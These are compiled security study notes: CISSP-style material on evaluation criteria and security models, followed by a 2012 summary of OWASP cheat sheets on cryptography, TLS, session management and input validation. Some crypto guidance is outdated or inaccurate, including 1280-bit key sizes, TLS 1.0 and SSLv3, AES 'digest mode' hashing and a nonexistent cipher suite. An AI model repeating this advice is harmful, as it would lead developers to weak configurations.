The type of environment that would require B2 systems is one that processes sensitive data that require a higher degree of security.

B3: Security Domains

Note Security labels are not required until security rating B; thus, C2 does not require security labels but B1 does.

more granularity is provided in each protection mechanism
design and implementation should not provide too much complexity
reference monitor components must be small enough to test properly and be tamperproof.
security administrator role is clearly defined, and the system must be able to recover from failures without its security level being compromised including system startup.
The type of environment that requires B3 systems is a highly secured environment that processes very sensitive information. It requires systems that are highly resistant to penetration.

Division A: Verified Protection

The security mechanisms between B3 and A1 are not very different, but the way the system was designed and developed is evaluated in a much more structured and stringent procedure.
A1: Verified Design

assurance of an A1 system is higher than a B3 system because of the formality in the way the A1 system was designed
The type of environment that would require A1 systems is the most secure of secured environments. This type of environment deals with top-secret information and cannot adequately trust anyone using the systems without strict authentication, restrictions, and auditing.

TCSEC addresses confidentiality, but not integrity. Functionality of the security mechanisms and the assurance of those mechanisms are not evaluated separately, but rather are combined and rated as a whole.

The Orange Book focuses on the operating system and the rainbow series on the other aspects.

The Trusted Network Interpretation (TNI), also called the Red Book because of the color of its cover, addresses security evaluation topics for networks and
network components.

Information Technology Security Evaluation Criteria (ITSEC)

It replaced TCSEC in 2000. ITSEC evaluates two main attributes of a system's protection mechanisms:

functionality

The services that are provided to the subjects (access control mechanisms, auditing, authentication, and so on) are examined and measured.When functionality is evaluated, it is tested to see if the system's protection mechanisms deliver what its vendor says they deliver.

Assurance

is the degree of confidence in the protection mechanisms, and their effectiveness and capability to perform consistently. Assurance is generally tested by examining development practices, documentation, configuration management, and testing mechanisms.

Differences between ITSEC and TCSEC:

TCSEC bundles functionality and assurance into one rating, whereas ITSEC evaluates these two attributes separately.
ITSEC was developed to provide more flexibility than TCSEC, and ITSEC addresses integrity, availability, and confidentiality, whereas TCSEC addresses only confidentiality.
ITSEC also addresses networked systems, whereas TCSEC deals with stand-alone systems.

Mapping:

E0 = D
F1 + E1 = C1
F2 + E2 = C2
F3 + E3 = B1
F4 + E4 = B2
F5 + E5 = B3
F5 + E6 = A1
F6 = Systems that provide high integrity
F7 = Systems that provide high availability
F8 = Systems that provide data integrity during communication
F9 = Systems that provide high confidentiality (like cryptographic devices)
F10 = Networks with high demands on confidentiality and integrity

The Common Criteria

Provides more flexibility by evaluating a product against a protection profile, which is structured to address a real-world security need. So while the Orange Book says, "Everyone march in this direction in this form using this path," the Common Criteria asks, "Okay, what are the threats we are facing today and what are the best ways of battling them?"

assigned an Evaluation Assurance Level (EAL).

EAL1 Functionally tested
EAL2 Structurally tested
EAL3 Methodically tested and checked
EAL4 Methodically designed, tested, and reviewed
EAL5 Semiformally designed and tested
EAL6 Semiformally verified design and tested
EAL7 Formally verified design and tested

The protection profile provides a means for a consumer, or others, to identify specific security needs; this is the security problem to be conquered. The protection profile goes on to provide the necessary goals and protection mechanisms to achieve the required level of security.

Like other evaluation criteria before it, the Common Criteria works to answer two basic questions about products being evaluated: what does its security mechanisms do (functionality), and how sure are you of that (assurance)?

Certification is the comprehensive technical evaluation of the security components and their compliance for the purpose of accreditation. The goal of a certification process is to ensure that a system, product, or network is right for the customer's purposes.

Accreditation is the formal acceptance of the adequacy of a system's overall security and functionality by management. The certification information is presented to management and once satisfied with the system's overall security management makes a formal accreditation statement.

How to set up a security program:

Plan and Organize

Establish management commitment
Establish oversight steering committee
Assess business drivers
Carry out a threat profile on the organization
Carry out a risk assessment
Develop security architectures at an organizational, application, network, and component level
Identify solutions per architecture level
Obtain management approval to move forward

Implement

Assign roles and responsibilities
Develop and implement security policies, procedures, standards, baselines, and guidelines
Identify sensitive data at rest and in transit
Implement the following blueprints:

Asset identification and management
Risk management
Vulnerability management
Compliance
Identity management and access control
Change control
Software development life cycle
Business continuity planning
Awareness and training
Physical security
Incident response

Implement solutions (administrative, technical, physical) per blueprint

Develop auditing and monitoring solutions per blueprint
Establish goals, service level agreements (SLAs), and metrics per blueprint

Operate and Maintain

Follow procedures to ensure all baselines are met in each implemented blueprint
Carry out internal and external audits
Carry out tasks outlined per blueprint
Manage service level agreements per blueprint

Monitor and Evaluate

Review logs, audit results, collected metric values, and SLAs per blueprint
Assess goal accomplishments per blueprint
Carry out quarterly meetings with steering committee
Develop improvement steps and integrate into the Plan and Organize phase

The Zachman framework is a two-dimensional model that uses six basic communication interrogatives (What, How, Where,Who, When, and Why) intersecting with different levels (Planner, Owner, Designer, Builder, Implementer, and Worker) to give a holistic view of the enterprise.

Here is a helpful hint for row Descriptions ( = means is equal to :-) ):

Scope=Contextual = Planner
Business Model= Conceptual = Owner
System Model = Logical = Designer
Technology Model = Physical = Builder
Detailed Representations = Detailed = Sub Contractor

Column Descrriptions

What(data), Where(Network), When(time), Why(Motivation), Who(People) and How(Function).

See my Enterprise Architecture blog post for a discussion of the frameworks including Zachman.

When an enterprise security architecture is being developed, the following items must be understood and followed:

strategic alignment, process enhancement, business enablement, and security effectiveness.

Strategic alignment means the business drivers and the regulatory and legal requirements are being met by the security architecture.

SABSA
A group developed the Sherwood Applied Business Security Architecture (SABSA), as shown in the following table, which is based on the Zachman framework. When building a security architecture, you can visit www.sabsainstitute.org/ home.aspx to learn more about this approach.

A Few Threats

Maintenance Hooks
Time-of-Check/Time-of-Use Attacks

Specific attacks can take advantage of the way a system processes requests and performs tasks. A time-of-check/timeof-use (TOC/TOU) attack deals with the sequence of steps a system uses to complete a task. This type of attack takes
advantage of the dependency on the timing of events that take place in a multitasking operating system. An example of a TOC/TOU attack is if process 1 validates the authorization of a user to open a noncritical text file and
process 2 carries out the open command. If the attacker can change out this noncritical text file with a password file while process 1 is carrying out its task, she has just obtained access to this critical file. (It is a flaw within the code that allows this type of compromise to take place.)

Buffer Overflows

Tips
- Two systems can have the exact same hardware, software components, and applications, but provide different levels of protection because of the different security policies and security models the two systems were built upon.
- A CPU contains a control unit, which controls the timing of the execution of instructions and data, and an ALU, which performs mathematical functions and logical operations.
- Most systems use protection rings. The more privileged processes run in the lower-numbered rings and have access to all or most of the system resources. Applications run in higher-numbered rings and have access to a smaller amount of resources.
- Operating system processes are executed in privileged or supervisor mode, and applications are executed in user mode, also known as "problem state."
- Secondary storage is nonvolatile and can be a hard drive, CD-ROM drive, floppy drive, tape backup, or a jump drive.
- Virtual storage combines RAM and secondary storage so the system seems to have a larger bank of memory.
- A deadlock situation occurs when two processes are trying to access the same resource at the same time.
- Security mechanisms can focus on different issues, work at different layers, and vary in complexity.
- The more complex a security mechanism is, the less amount of assurance it can usually provide.
- Not all system components fall under the trusted computing base (TCB), which includes only those system components that enforce the security policy directly and protect the system. These components are within the security perimeter.
- Components that make up the TCB are hardware, software, and firmware that provide some type of security protection.
- A security perimeter is an imaginary boundary that has trusted components within it (those that make up the TCB) and untrusted components outside it.
- The reference monitor concept is an abstract machine that ensures all subjects have the necessary access rights before accessing objects. Therefore, it mediates all accesses to objects by subjects.
- The security kernel is the mechanism that actually enforces the rules of the reference monitor concept.
- The security kernel must isolate processes carrying out the reference monitor concept, must be tamperproof, must be invoked for each access attempt, and must be small enough to be properly tested.
- A security domain is all the objects available to a subject.
- Processes need to be isolated, which can be done through segmented memory addressing, encapsulation of objects, time multiplexing of shared resources, naming distinctions, and virtual mapping.
- The level of security a system provides depends upon how well it enforces the security policy.
- A multilevel security system processes data at different classifications (security levels), and users with different clearances (security levels) can use the system.
- Processes should be assigned least privilege so they have just enough system privileges to fulfill their tasks and no more.
- Some systems provide security at different layers of their architectures, which is called layering. This separates the processes and provides more protection for them individually.
- Data hiding occurs when processes work at different layers and have layers of access control between them. Processes need to know how to communicate only with each other's interfaces.
- A security model maps the abstract goals of a security policy to computer system terms and concepts. It gives the
security policy structure and provides a framework for the system.
- A closed system is often proprietary to the manufacturer or vendor, whereas the open system allows for more interoperability.
- The Bell-LaPadula model deals only with confidentiality, while the Biba and Clark-Wilson models deal only with integrity.
- A state machine model deals with the different states a system can enter. If a system starts in a secure state, all state transitions take place securely, and the system shuts down and fails securely, the system will never end up in an insecure state.
- A lattice model provides an upper bound and a lower bound of authorized access for subjects.
- An information flow security model does not permit data to flow to an object in an insecure manner.
- The Bell-LaPadula model has a simple security rule, which means a subject cannot read data from a higher level (no read up). The *-property rule means a subject cannot write to an object at a lower level (no write down). The strong star property rule dictates that a subject can read and write to objects at its own security level.
- The Biba model does not let subjects write to objects at a higher integrity level (no write up), and it does not let subjects read data at a lower integrity level (no read down). This is done to protect the integrity of the data.
- The Bell-LaPadula model is used mainly in military systems. The Biba and Clark-Wilson models are used in the commercial sector.
- The Clark-Wilson model dictates that subjects can only access objects through applications. This model also illustrates how to provide functionality for separation of duties and requires auditing tasks within software.
- If a system is working in a dedicated security mode, it only deals with one level of data classification, and all users must have this level of clearance to be able to use the system.
- Compartmented and multilevel security modes enable the system to process data classified at different classification levels.
- Trust means that a system uses all of its protection mechanisms properly to process sensitive data for many types of users. Assurance is the level of confidence you have in this trust and that the protection mechanisms behave properly in all circumstances predictably.
- The Orange Book, also called Trusted Computer System Evaluation Criteria (TCSEC), was developed to evaluate systems built to be used mainly by the military. Its use was expanded to evaluate other types of products.
- In the Orange Book, D classification means a system provides minimal protection and is used for systems that were evaluated but failed to meet the criteria of higher divisions.
- In the Orange Book, the C division deals with discretionary protection, and the B division deals with mandatory protection (security labels).
- In the Orange Book, the A classification means the system's design and level of protection are verifiable and provide the highest level of assurance and trust.
- In the Orange Book, C2 requires object reuse protection and auditing.
- In the Orange Book, B1 is the first rating that requires security labels.
- In the Orange Book, B2 requires security labels for all subjects and devices, the existence of a trusted path, routine covert channel analysis, and the provision of separate administrator functionality.
- The Orange Book deals mainly with stand-alone systems, so a range of books were written to cover many other topics in security. These books are called the Rainbow Series.
- ITSEC evaluates the assurance and functionality of a system's protection mechanisms separately, whereas TCSEC combines the two into one rating.
- The Common Criteria was developed to provide globally recognized evaluation criteria and is in use today. It combines sections of TCSEC, ITSEC, CTCPEC, and the Federal Criteria.
- The Common Criteria uses protection profiles and ratings from EAL1 to EAL7.
- Certification is the technical evaluation of a system or product and its security components. Accreditation is management's formal approval and acceptance of the security provided by a system.
- A covert channel is an unintended communication path that transfers data in a way that violates the security policy. There are two types: timing and storage covert channels.
- A covert timing channel enables a process to relay information to another process by modulating its use of system resources.
- A covert storage channel enables a process to write data to a storage medium so another process can read it.
- A maintenance hook is developed to let a programmer into the application quickly for maintenance. This should be removed before the application goes into production or it can cause a serious security risk.
- An execution domain is where instructions are executed by the CPU. The operating system's instructions are executed in a privileged mode, and applications' instructions are executed in user mode.
- Process isolation ensures that multiple processes can run concurrently and the processes will not interfere with each other or affect each other's memory segments.
- The only processes that need complete system privileges are located in the system's kernel.
- TOC/TOU stands for time-of-check/time-of-use. This is a class of asynchronous attacks.
- The Biba model addresses the first goal of integrity, which is to prevent unauthorized users from making modifications.
- The Clark-Wilson model addresses all three integrity goals: prevent unauthorized users from making modifications, prevent authorized users from making improper modifications, and maintain internal and external consistency.
- In the Clark-Wilson model, users can only access and manipulate objects through programs. It uses access triple,which is subject-program-object.

These are notes collected from various sources.

Security: OWASP Cheat Sheets summary

2012-11-18T19:41:00.000-08:00

REST Security Cheat Sheet

It is common for REST services to allow multiple response types (e.g. application/xml or application/json, and the client specifies the preferred order of response types by the Accept header in the request. Do NOT simply copy the Accept header to the Content-type header of the response. Reject the request (ideally with a 406 Not Acceptable response) if the Accept header does not specifically contain one of the allowable types.

It is important for the service to properly restrict the allowable verbs(GET, POST etc) such that only the allowed verbs will work, all others return a proper response code (for example, a 403 Forbidden). This is because someone can use http HEAD with that URL and we won't be able to check.

Authentication for a REST-based service should not take place by passing the user ID and password in path elements of the URL. URL's are commonly cached

Application Security Architecture Cheat Sheet

Business Requirements

Business Model
Data Essentials
End-Users
Partners
Administrators
Regulations

Infrastructure Requirements

Network
Systems
Infrastructure Monitoring
Virtualization and Externalization

Application Requirements

Environment
Data Processing
Access
Application Monitoring
Application Design

Security Program Requirements

Operations

- identifying and addressing vulnerabilities

Change Management
Software Development
Corporate

- employee

- governance requirements

Web Service Security Cheat Sheet

XML Denial of Service Protection

XML Denial of Service is probably the most serious attack against web services. So the web service must provide the following validation:

Rule - Validation against recursive payloads
Rule - Validation against oversized payloads
Rule - Protection against XML entity expansion
Rule - Validating against overlong element names. If you are working with SOAP-based Web Services, the element names are those SOAP Actions.

Input Validation Cheat Sheet

Some white list validators have also been predefined in various open source packages that you can leverage. Two packages that provide this are:

It is recommended that you use ESAPI to assist with your input validation needs, rather than writing your own validation routines. The OWASP Enterprise Security API (ESAPI) project has predefined validators defined in the org.owasp.esapi.Validator interface and implemented in the DefaultValidator reference implementation. These include:

getValidDate()
getValidSafeHTML()
getValidInput()
getValidNumber()
getValidFileName()
getValidRedirectLocation()

Cryptography

Relevant COBIT Topics

DS5.18 – Cryptographic key management

Cryptographic systems can provide one or more of the following four services:

Authentication:SSL Certs
Non-Repudiation:digitally signing
Confidentiality
Integrity:Cryptographic hashes

Cryptographic Algorithms

Asymmetric (also Public/Private Key Cryptography)

PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using the RSA(asym cipher) or other algorithms. Common Asymmetric signature scheme is DSA ( Digital Signature Algorithm)

Symmetric

. Common examples of symmetric algorithms are DES, 3DES and AES. DES should no longer be used.

Hashes

Hash functions take some data (and possibly a key or password) and generate a unique hash or checksum. MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New implementations should consider using SHA-256 instead of these weaker algorithms.
Message Authentication Codes ( MAC), uses keys and are used as hash functional as well.

Use good sources of randomness. JCE as one.

Key Exchange Algorithms

Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party.

Stream Ciphers

Stream ciphers, such as RC4, are vulnerable due to a property of stream ciphers. If you use the same key to “protect” two different documents, the keystream drops out when you XOR the two documents together, leaving the plaintexts XOR’d together. The two plain text documents can be recovered using frequency analysis.

Specific algorithms to avoid:

MD5 has recently been found less secure than previously thought.
SHA-0 has been conclusively broken.
SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size

DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.

Recommendations

Symmetric:

· Key sizes of 128 bits (standard for SSL) are sufficient for most applications

· Consider 168 or 256 bits for secure systems such as large financial transactions

Asymmetric:

· Key sizes of 1280 bits are sufficient for most personal applications

· 1536 bits should be acceptable today for most secure applications

· 2048 bits should be considered for highly protected applications.

Hashes:

· Hash sizes of 128 bits (standard for SSL) are sufficient for most applications

· Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).

SSL 2.0 should never be used.
multiple domain certificates or enhanced wildcard certificates can be used to provide a listing of multiple names in a certificate.
TLS has renegotiation vulnerability which most browsers have corrected.
NIST SP 800-52 recommends to use TLS 1.0 with RSA or DSA, with ephemeral Diffie Hellman, 3DES or AES and SHA1 (or SHA256) for integrity protection. MD5 and RC4 are disallowed.

Cryptographic Storage Cheat Sheet

2.3.1 Rule - Only store sensitive data that you need
2.3.2 Rule - Only use strong cryptographic algorithms
Symmetric Key

Currently, there exist three FIPS-approved symmetric key algorithms for encryption: Advanced Encryption Standard (AES), Triple-DES, and Skipjack. AES is the FIPS-Approved symmetric encryption algorithm of choice.

Asymmetric Key

FIPS 186-3 Digital Signature Standard (DSS) (DSA, RSA, and ECDSA algorithms)

On June 10, 2009, NIST announced the adoption of FIPS 186-3, Digital Signature Standard (DSS), which is a revision of FIPS 186-2. The FIPS specifies three techniques for the generation and verification of digital signatures:

Digital Signature Algorithm (DSA), RSA (as specified in ANSI X9.31 (RSA)), and Elliptic Curve DSA (ECDSA; as specified in ANSI X9.62).

Secure Hash Standard (SHS)

(SHA-1, SHA-224, SHA-256, SHA-384, and SHA-512 algorithms)

The Secure Hash Algorithms (SHA-1, SHA-224, SHA-256, SHA-384, and SHA-512) are specified in FIPS 180-3 dated October 2008, Secure Hash Standard (SHS).

Random Number Generators (RNG)

The algorithms for generating approved random numbers are referenced in FIPS 140-2 Annex C.

Message Authentication (MAC)

Block Cipher-based MAC Algorithm (CMAC)

The CMAC algorithm is specified in Special Publication 800-38B dated May 2005, Recommendation for Block Cipher Modes of Operation: The CMAC Mode for Authentication. CMAC can be considered a mode of operation of the block cipher because it is based on an approved symmetric key block cipher, such as the Advanced Encryption Standard (AES) algorithm currently specified in Federal Information Processing Standard (FIPS) Pub. 197. CMAC is also an approved mode of the Triple Data Encryption Algorithm (TDEA).

Keyed-Hash Message Authentication Code (HMAC)

The Keyed-Hash Message Authentication Code (HMAC) is specified in FIPS 198 dated March 6, 2002, Keyed-Hash Message Authentication Code (HMAC). This algorithm utilizes the Secure Hash Algorithms as an underlying primitive.

2.3.2.1 Rule - Ensure that random numbers are cryptographically strong

Ensure that all random numbers, random file names, random GUIDs, and random strings are generated in a cryptographically strong fashion. Also ensure that random algorithms are seeded with sufficient entropy.

2.3.2.2 Rule - Only use widely accepted implementations of cryptographic algorithms
2.3.2.3 Rule - Prefer authenticated encryption modes

Use cryptographic cipher modes that offer both confidentiality and authenticity. Recommended modes include counter with CBC-MAC (CCM) mode and Galois/counter mode (GCM). These authenticated encryption (AE) modes resist padding oracle attacks which can be used in many cases to recover plaintext from ciphertext without knowledge of the encryption key.

2.3.3 Rule - Store the hashed and salted value of passwords
2.3.4 Rule - Ensure that the cryptographic protection remains secure even if access controls fail
2.3.5 Rule - Ensure that any secret key is protected from unauthorized access
2.3.5.1 Rule - Define a key lifecycle
2.3.5.2 Rule - Store unencrypted keys away from the encrypted data
2.3.5.3 Rule - Use independent keys when multiple keys are required
2.3.5.4 Rule - Protect keys in a key vault
2.3.5.5 Rule - Document concrete procedures for managing keys through the lifecycle
2.3.5.6 Rule - Build support for changing keys periodically
2.3.5.7 Rule - Document concrete procedures to handle a key compromise
2.3.5.8 Rule - Rekey data at least every one to three years
2.3.6 Rule - Follow applicable regulations on use of cryptography
2.3.6.1 Rule - Under PCI DSS requirement 3, you must protect cardholder data

PCI DSS requirement 3 covers secure storage of credit card data. This requirement covers several aspects of secure storage including the data you must never store but we are covering Cryptographic Storage which is covered in requirements 3.4, 3.5 and 3.6 as you can see below:

3.4 Render PAN (Primary Account Number), at minimum, unreadable anywhere it is stored

3.5 Protect any keys used to secure cardholder data against disclosure and misuse
3.6 Fully document and implement all key-management processes and procedures for cryptographic keys used for encryption of cardholder data

Requirement 3.6 mandates that key management processes within a PCI compliant company cover 8 specific key lifecycle steps:

3.6.1 Generation of strong cryptographic keys

3.6.2 Secure cryptographic key distribution

The method used to distribute keys must be secure to prevent the theft of keys in transit. The use of a protocol such as Diffie Hellman can help secure the distribution of keys, the use of secure transport such as SSLv3, TLS and SSHv2 can also secure the keys in transit.

3.6.3 Secure cryptographic key storage

The secure storage of encryption keys including KEK's has been touched on in our description of requirement 3.5 (see above).

3.6.4 Periodic cryptographic key changes

The PCI DSS standard mandates that keys used for encryption must be rotated at least annually.

3.6.5 Retirement or replacement of keys as deemed necessary when the integrity of the key has been weakened or keys are suspected of being compromised
3.6.6 Split knowledge and establishment of dual control of cryptographic keys
3.6.7 Prevention of unauthorized substitution of cryptographic keys
3.6.8 Requirement for cryptographic key custodians to sign a form stating that they understand and accept their key-custodian responsibilities

SSL/TLS

TLS version 1.0 and SSL 3.0 are very similar. SSL 3.1 is identical to TLS 1.0

Handshake process

TLS begins by client initiating the handshakre protocol with hello message that includes protocol version, session id, cipher suite, compression method and a random number.
server responds with hello msg that includes protocol version, session id, cipher suite, compression method and a random number.
server then sends it cert and msg indicating it finished with hello msg.
client responds with a key exchange msg. for instance in the case of TLS_RSA_WITH_RC4_CBC_MD5, the client generates a 48 byte premaster secret and encrypts it with the servers RSA public key.

48 byte includes 2 bytes for client version and 46 random bytes

server decrypts the key exchange msg and verifies first two bytes are same as earlier client version.
Now both client and server use random numbers exchanged and pre master secret with a pseudo random function (PRF) to generate master secret.

master secret is 48 bytes long. It has 3 128 bit keys; one for keyed MD5 (MAC), one for symmetric(RC4) and one as initialization vector for symmetric algorithm.

client/server send handshake finished to each other.
now session keys based on master secret are used for remainder of TLS session.

TLS benefits

integrity guarantees
replay prevention

Online Certificate status protocol (OCSP) responder to check for certificate revocation status.

Crypto Module

components that implement crypto algos
components that call and manage crypto functions
physical container around the above two.

For FIPS 140-2:

SSL must be disabled and TLS must be used.

Set the "secure" flag for the cookie to avoid sending in http mode ( versus https)
Strict transport security will provide a server side control to instruct browsers to use https only.

Database Encryption

Transparent Data Encryption is a new feature in SQL Server 2008 which implements database-level encryption complementing the row-level encryption which is currently available in SQL Server 2005. This protects database access, either directly or by restoring a database backup on another SQL Server instance.

Setting up encryption on the server. To do that, we create the database master key on the master database

USE master
GO
CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'mY_P@$$w0rd'

Then, we create the server-based certificate which will be used to encrypt the database

CREATE CERTIFICATE NorthwindCert
WITH SUBJECT = 'My DEK Certificate for Northwind database'

We will then set the encryption for the Northwind database by creating a database encryption key and password using the certificate we just created.

USE Northwind
GO
CREATE DATABASE ENCRYPTION KEY
WITH ALGORITHM = AES_128
ENCRYPTION BY SERVER CERTIFICATE NorthwindCert
GO

The encryption algorithm choice is yours, since a few different options exist. For guidance on selecting an encryption algorithm on SQL Server, check out this Microsoft TechNet article. After creating the database encryption key, we'll enable encryption on the database level.

ALTER DATABASE Northwind
SET ENCRYPTION ON

Let's backup the encrypted Northwind database this time but using a different filename.

BACKUP DATABASE Northwind
TO DISK = 'C:\Northwind_encrypted.bak'
WITH INIT, STATS = 10

The encrypted backup would take a bit longer than the unencrypted backup. If you open the encrypted database backup and search for the string 'A r i a C r u z' which we searched for earlier, you will no longer find it.

Session Management

Set secure and HttpOnly flags for session cookies. Send CSRF tokens with forms.
Throttle requests from a particular user.

Authentication & Authorization

Relevant COBIT Topics: DS5 – All sections should be reviewed.

username and password is suitable for low value systems such as blogs and forums, SMS challenge response is suitable for low value e-commerce systems (in 2005), whilst transaction signing is suitable for high value systems such as high value e-commerce
HTTP 1.1 Digest authentication uses a challenge response mechanism, which is reasonably safe for low value applications.
Certificate revocation with self-issued certificates is almost impossible in extranet environments.
Soft certificates (also known as client-side certificate authentication) are a little stronger than passwords, but suffer from the same problems as passwords and any authentication method which automatically processes credentials.
Challenge Response: Challenge response tokens work by taking a value (challenge) from the system and processing them in a cryptographically secure fashion to derive a result.
Transaction signing is performed by offline challenge response calculators. The user will be presented with various items to enter into the calculator, and it will calculate a response based upon these inputs. This is the strongest form of authentication as the user has to enter the transaction details – any other transaction will fail to produce a suitable response. This type of authentication has strong non-repudiation properties, is robust against man in the middle attacks, cannot be replayed, and is robust against differing transaction limits.

For the best effect, at least the following should be stirred into the challenge:

·       Reference ID
·       From account
·       Amount of the transaction
Use decent one-way hash algorithm, such as AES-128 in digest mode or SHA-256 bit.
Check that the app has a delay between the user submitting the credential and a success or failure is reported. A delay of three seconds can make automated brute force attacks almost unfeasible. A progressive delay (3 seconds then 15 then 30 then disconnect) can make casual brute force attacks completely ineffective
Event correlation software such as Simple Event Correlator (SEC) can be used to define rules to parse through the logs and generate alerts based on aggregated events. This could also be done by adding a Snort rule for alerting on HTTP Authorization Failed error messages going out from your web server to the user, and SEC can then be used to aggregate and correlate these alerts.
Note: Any web site that is mandated or legally required to be accessible must not use CAPTCHA’s. if you can't:

You have to provide alternate means of registration etc.
deter the use of automated sign ups by using the “no follow” tag. Search engines will ignore hyperlinks and pages with this tag set, immensely devaluing the use of link spamming

Session Management

Relevant COBIT Topics

PO8 – All sections should be reviewed
PO8.4 – Privacy, Intellectual proeprty and data flow

The session ID value must provide at least 64 bits of entropy (if a good PRNG is used, this value is estimated to be half the length of the session ID).

the “Secure” cookie attribute (see below) must be used to ensure the session ID is only exchanged through an encrypted channel. The usage of an encrypted communication channel also protects the session against some session fixation attacks where the attacker is able to intercept and manipulate the web traffic to inject (or fix) the session ID on the victims web browser [4].

Web applications should never switch a given session from HTTP to HTTPS, or viceversa, as this will disclose the session ID in the clear through the network

Web applications should not mix encrypted and unencrypted contents (HTML pages, images, CSS, Javascript files, etc) on the same host (or even domain - see the “domain” cookie attribute), as the request of any web object over an unencrypted channel might disclose the session ID

Web applications should make use of “HTTP Strict Transport Security (HSTS)” (previously called STS) to enforce HTTPS connections.

The “Secure” cookie attribute instructs web browsers to only send the cookie through an encrypted HTTPS (SSL/TLS) connection.

Forcing the web application to only use HTTPS for its communication (even when port TCP/80, HTTP, is closed in the web application host) does not protect against session ID disclosure if the “Secure” cookie has not been set - the web browser can be deceived to disclose the session ID over an unencrypted HTTP connection. The attacker can intercept and manipulate the victim user traffic and inject an HTTP unencrypted reference to the web application that will force the web browser to submit the session ID in the clear.

The “HttpOnly” cookie attribute instructs web browsers not to allow scripts (e.g. JavaScript or VBscript) an ability to access the cookies via the DOM document.cookie object. This session ID protection is mandatory to prevent session ID stealing through XSS attacks.

The “Domain” cookie attribute instructs web browsers to only send the cookie to the specified domain and all subdomains. If the attribute is not set, by default the cookie will only be sent to the origin server. The “Path” cookie attribute instructs web browsers to only send the cookie to the specified directory or subdirectories (or paths or resources) within the web application. If the attribute is not set, by default the cookie will only be sent for the directory (or path) of the resource requested and setting the cookie.

It is recommended to use a narrow or restricted scope for these two attributes. In this way, the “Domain” attribute should not be set (restricting the cookie just to the origin server) and the “Path” attribute should be set as restrictive as possible to the web application path that makes use of the session ID.

it is recommended not to mix web applications of different security levels on the same domain. Vulnerabilities in one of the web applications would allow an attacker to set the session ID for a different web application on the same domain by using a permissive “Domain” attribute (such as “example.com”) which is a technique that can be used in session fixation attacks

Although the “Path” attribute allows the isolation of session IDs between different web applications using different paths on the same host, it is highly recommended not to run different web applications (especially from different security levels or scopes) on the same host. Other methods can be used by these applications to access the session IDs, such as the “document.cookie” object. Also, any web application can set cookies for any path on that host.

Cookies are vulnerable to DNS spoofing/hijacking/poisoning attacks, where an attacker can manipulate the DNS resolution to force the web browser to disclose the session ID for a given host or domain.

If a cookie presents the “Max-Age” (that has preference over “Expires”) or “Expires” attributes, it will be considered a persistent cookie and will be stored on disk by the web browser based until the expiration time. Typically, session management capabilities to track users after authentication make use of non-persistent cookies.

The session ID must be renewed or regenerated by the web application after any privilege level change within the associated user session.

The session ID regeneration is mandatory to prevent session fixation attacks [3], where an attacker sets the session ID on the victims user web browser instead of gathering the victims session ID

All sessions should implement an absolute timeout, regardless of session activity. This timeout defines the maximum amount of time a session can be active, closing and invalidating the session upon the defined absolute period

Web applications should focus on detecting anomalies associated to the session ID, such as its manipulation. The OWASP AppSensor Project [7] provides a framework and methodology to implement built-in intrusion detection capabilities within web applications focused on the detection of anomalies and unexpected behaviors, in the form of detection points and response actions.

bind the session ID to other user or client properties, such as the client IP address, User-Agent, or client-based digital certificate

A skilled attacker can bypass these controls by reusing the same IP address assigned to the victim user by sharing the same network (very common in NAT environments, like Wi-Fi hotspots), by using the same outbound web proxy (very common in corporate environments), or by modifying his User-Agent to look exactly as the victim users does.
Can also tie the session to a particular browser by using a hash of the server-side IP address (REMOTE_ADDR) and if the header exists, PROXY_FORWARDED_FOR. Note that you shouldn’t use the client-forgeable headers, but take a hash of them. If the new hash doesn’t match the previous hash, then there is a high likelihood of session replay.

In situations where the web application source code is not available or cannot be modified or requires complete redesign, or to complement the web application defenses, and with the goal of keeping the web application as secure as possible, it is recommended to use external protections such as Web Application Firewalls (WAFs) that can mitigate the session management threats

The open-source ModSecurity WAF, plus the OWASP Core Rule Set [6], provide capabilities to detect and apply security cookie attributes, countermeasures against session fixation attacks, and session tracking features to enforce sticky sessions.

Form data should not contain hidden fields – if it is hidden, it probably needs to be protected and only available on the server side. However, hidden fields can (and should) be used for sequence protection and to prevent brute force pharming attacks.

storing all state within each request(in contrast to storing in session), leads to extensive use of hidden fields and extra database queries to avoid server-side session management, and is vulnerable to replay and request forgery attacks, as well as producing complex code.

Some frameworks use shared areas of the web server’s disk to store session data. In particular, PHP uses /tmp on Unix and c:\windows\temp on Windows by default. These areas provide no protection for session data, and may lead to compromise.

Page and Form Tokens

Page specific tokens or "nonces" may be used in conjunction with session specific tokens to provide a measure of authenticity when dealing with client requests.
Page tokens are often stored in cookies or query strings and should be completely random. It is possible to avoid sending session token information to the client entirely through the use of page tokens, by creating a mapping

If a session handler issues tokens which are predictable, an attacker does not need to capture session variables from the remote users – they can simply guess.

Consider using "booby trapped" session tokens that will detect a brute force attack.Then:

Go slow or ban the originating IP address (which can be troublesome as more and more ISPs are using transparent caches to reduce their costs. Because of this: always check the "proxy_via" header)
Apache web server modules, such as mod_dosevasive and mod_security, that could be used for this kind of protection. Although mod_dosevasive is used to lessen the effect of DoS attacks, it could be rewritten for other purposes as well

Associate the session ID, IP address, and other attributes from the user’s headers in a hash. If the hash changes, and more than one of the details has changed, it is likely that a session fixation attack has occurred.

Use Brutus to check if you can brute force a session and resume it. If yes, then session id requires greater entropy.

Data Validation

Relevant COBIT Topics

DS11 – Manage Data. All sections should be reviewed

Data Validation Strategies

There are four strategies for validating data, and they should be used in this order:

Accept known good
Reject known bad. If you don't expect to see characters such as %3f or JavaScript or similar, reject strings containing them:
Sanitize: Eliminate or translate characters (such as to HTML entities or to remove quotes) in an effort to make the input "safe":
No validation: not a strategy at all :-)

Tips:

Code containing hidden fields should be rejected during code reviews.
Some strings may be received in encoded form. It is essential to send the correct locale to the user so that the web server and application server can provide a single level of canoncalization prior to the first use.
Do not use getReader() or getInputStream() as these input methods do not decode encoded strings. If you need to use these constructs, you must decanoncalize data by hand.

Interpreter Injection

Relevant COBIT Topics

DS11 – Manage Data – All sections should be reviewed
DS11.9 – Data processing integrity
DS11.20 – Continued integrity of stored data

XSS ( all variations)

SQL Injection

LDAP Injection

HTTP Response Splitting

